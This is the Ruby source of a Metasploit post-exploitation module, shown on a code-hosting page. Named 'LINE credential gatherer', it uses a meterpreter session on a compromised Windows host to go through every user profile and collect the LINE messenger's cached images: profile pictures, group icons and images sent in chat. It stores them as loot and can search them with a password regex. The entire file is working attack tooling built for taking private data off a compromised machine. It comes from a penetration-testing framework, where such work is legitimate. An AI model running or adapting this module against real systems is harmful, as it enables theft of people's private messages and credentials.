Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/line.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67# this associative array defines the artifacts known to PackRat8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::Windows::Packrat1112ARTIFACTS =13{14application: 'line',15app_category: 'chats',16gatherable_artifacts: [17{18filetypes: 'images',19path: 'LocalAppData',20dir: 'LINE',21artifact_file_name: '*.png',22description: 'Image cache with png extension',23credential_type: 'chat_log'24},25{26filetypes: 'images',27path: 'LocalAppData',28dir: 'LINE',29artifact_file_name: '*.jpeg',30description: 'Image cache for jpg cache',31credential_type: 'chat_log'32},33{34filetypes: 'images',35path: 'LocalAppData',36dir: 'LINE\\Cache\\p',37artifact_file_name: '*',38description: 'Image cache for profile images of users',39credential_type: 'chat_log'40},41{42filetypes: 'images',43path: 'LocalAppData',44dir: 'LINE\\Cache\\g',45artifact_file_name: '*',46description: 'Image cache for group icons',47credential_type: 'chat_log'48},49{50filetypes: 'images',51path: 'LocalAppData',52dir: 'LINE\\Cache\\m',53artifact_file_name: '*',54description: 'Image cache for images sent through chat',55credential_type: 'chat_log'56},57{58filetypes: 'images',59path: 'LocalAppData',60dir: 'LINE\\Cache\\e',61artifact_file_name: '*',62description: 'Image cache for profile images sent by official accounts',63credential_type: 'chat_log'64},65{66filetypes: 'images',67path: 'LocalAppData',68dir: 'LINE\\Data\\pizza',69artifact_file_name: '*',70description: 'Image cache for profile images of users',71credential_type: 'chat_log'72}73]74}.freeze7576def initialize(info = {})77super(78update_info(79info,80'Name' => 'LINE credential gatherer',81'Description' => %q{82PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.83PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.84Further details can be found in the module documentation.85This is a module that searches for credentials in LINE desktop application on a windows remote host. LINE is the most popular Instant Messenger app in Japan.86},87'License' => MSF_LICENSE,88'Author' => [89'Kazuyoshi Maruta',90'Daniel Hallsworth',91'Barwar Salim M',92'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org93],94'Platform' => ['win'],95'SessionTypes' => ['meterpreter'],96'Notes' => {97'Stability' => [CRASH_SAFE],98'Reliability' => [],99'SideEffects' => []100}101)102)103104register_options(105[106OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),107OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),108OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),109# enumerates the options based on the artifacts that are defined below110OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])111]112)113end114115def run116print_status('Filtering based on these selections: ')117print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")118print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")119print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")120121# used to grab files for each user on the remote host122grab_user_profiles.each do |userprofile|123run_packrat(userprofile, ARTIFACTS)124end125126print_status 'PackRat credential sweep Completed'127end128end129130131